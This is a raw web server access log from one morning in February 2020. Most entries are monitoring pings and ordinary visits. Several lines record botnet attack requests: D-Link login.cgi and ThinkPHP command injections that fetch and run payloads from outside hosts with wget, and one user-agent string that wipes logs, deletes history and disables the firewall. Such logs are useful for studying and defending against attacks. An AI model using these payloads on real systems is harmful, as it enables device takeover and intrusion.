119.119.240.32 - - [19/Feb/2020:09:23:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:09:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.210.108.77 - - [19/Feb/2020:09:25:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
109.102.226.187 - - [19/Feb/2020:09:25:37 +0100] "GET /praxis.php HTTP/1.1" 400 6164 "-" "-"
212.91.246.72 - - [19/Feb/2020:09:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.76.46.98 - - [19/Feb/2020:09:27:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
78.186.153.65 - - [19/Feb/2020:09:28:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [19/Feb/2020:09:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.169.2.92 - - [19/Feb/2020:09:32:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:09:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.197.27.4 - - [19/Feb/2020:09:33:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:09:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.116.184 - - [19/Feb/2020:09:37:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
118.68.116.184 - - [19/Feb/2020:09:37:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:09:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.116.184 - - [19/Feb/2020:09:38:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.188.210.101 - - [19/Feb/2020:09:39:11 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:09:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.188.210.101 - - [19/Feb/2020:09:40:16 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:09:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.188.210.101 - - [19/Feb/2020:09:41:45 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:09:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.188.210.101 - - [19/Feb/2020:09:43:18 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:09:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.44.176.6 - - [19/Feb/2020:09:43:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
34.210.137.222 - - [19/Feb/2020:09:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:09:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.102.226.187 - - [19/Feb/2020:09:44:47 +0100] "GET /referenzen.html HTTP/1.1" 400 6160 "-" "-"
109.102.226.187 - - [19/Feb/2020:09:44:48 +0100] "GET /impressum.html HTTP/1.1" 400 7650 "-" "-"
109.102.226.187 - - [19/Feb/2020:09:44:48 +0100] "GET /leistungen.html HTTP/1.1" 400 6160 "-" "-"
109.102.226.187 - - [19/Feb/2020:09:44:48 +0100] "GET /uns.html HTTP/1.1" 400 7600 "-" "-"
212.91.246.72 - - [19/Feb/2020:09:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.155.168.131 - - [19/Feb/2020:09:47:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:09:47:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.161.23.246 - - [19/Feb/2020:09:48:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:09:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:50:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:52:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.48.169.105 - - [19/Feb/2020:09:53:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:09:53:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.107.253.222 - - [19/Feb/2020:09:54:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
46.167.202.101 - - [19/Feb/2020:09:54:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:09:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.164.72.238 - - [19/Feb/2020:09:57:29 +0100] "GET /smpp/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:09:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:58:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.212.49.134 - - [19/Feb/2020:10:00:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:10:00:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.29.15.225 - - [19/Feb/2020:10:01:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
85.96.122.7 - - [19/Feb/2020:10:01:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
159.69.157.213 - - [19/Feb/2020:10:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2)"
212.91.246.72 - - [19/Feb/2020:10:01:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.102.226.187 - - [19/Feb/2020:10:03:17 +0100] "GET /picture.html HTTP/1.1" 400 6160 "-" "-"
109.102.226.187 - - [19/Feb/2020:10:03:17 +0100] "GET /location.html HTTP/1.1" 400 6160 "-" "-"
212.91.246.72 - - [19/Feb/2020:10:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:04:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:06:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:07:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:09:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.255.242.103 - - [19/Feb/2020:10:10:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:10:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.4 - - [19/Feb/2020:10:11:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:10:11:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.125.146.210 - - [19/Feb/2020:10:12:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:10:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.229.207.13 - - [19/Feb/2020:10:13:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:10:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.102.226.187 - - [19/Feb/2020:10:14:24 +0100] "GET /sonderthemen/archiv.html HTTP/1.1" 400 7604 "-" "-"
212.91.246.72 - - [19/Feb/2020:10:14:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.212.88.133 - - [19/Feb/2020:10:17:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
109.102.226.187 - - [19/Feb/2020:10:17:30 +0100] "GET /impressum.html HTTP/1.1" 400 6160 "-" "-"
79.223.244.235 - - [19/Feb/2020:10:17:34 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [19/Feb/2020:10:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:18:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:21:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:24:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
101.128.68.72 - - [19/Feb/2020:10:25:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:10:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:26:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:27:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:28:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.221.15.42 - - [19/Feb/2020:10:29:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:10:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.189.200.210 - - [19/Feb/2020:10:30:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:10:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:31:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.46.1.246 - - [19/Feb/2020:10:32:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [19/Feb/2020:10:32:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.169.180 - - [19/Feb/2020:10:33:51 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
128.14.133.58 - - [19/Feb/2020:10:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:10:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.38 - - [19/Feb/2020:10:36:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
185.45.33.143 - - [19/Feb/2020:10:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:10:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.76.218.161 - - [19/Feb/2020:10:38:00 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
61.76.218.161 - - [19/Feb/2020:10:38:00 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
212.91.246.72 - - [19/Feb/2020:10:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:41:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.4 - - [19/Feb/2020:10:44:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:10:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:45:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.6 - - [19/Feb/2020:10:47:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:10:47:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:50:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:52:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [19/Feb/2020:10:53:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [19/Feb/2020:10:53:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.229.205.17 - - [19/Feb/2020:10:54:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:10:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.58.124.255 - - [19/Feb/2020:10:55:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [19/Feb/2020:10:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
